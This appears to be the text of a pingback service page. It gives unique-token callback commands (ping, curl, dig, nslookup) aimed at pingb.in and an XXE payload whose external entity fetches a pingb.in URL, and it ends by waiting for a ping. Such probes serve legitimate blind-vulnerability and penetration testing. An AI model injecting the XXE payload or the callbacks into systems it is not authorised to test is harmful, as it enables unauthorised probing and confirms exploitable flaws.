$ ping -c1 -p 00b2520266f90fcd7ed323c8ddb2f800 pingb.in
 
$ curl pingb.in/p/b2520266f90fcd7ed323c8ddb2f8
 
$ dig b2520266f90fcd7ed323c8ddb2f8 @pingb.in
 
$ dig b2520266f90fcd7ed323c8ddb2f8.ns.pingb.in
 
C:\> nslookup b2520266f90fcd7ed323c8ddb2f8 pingb.in
 
<?xml version="1.0" encoding="ISO-8859-1"?>
    <!DOCTYPE foo [<!ELEMENT foo ANY>
    <!ENTITY xxe SYSTEM "http://pingb.in/p/b2520266f90fcd7ed323c8ddb2f8">]>
    <foo>&xxe;</foo>
 
Waiting for ping...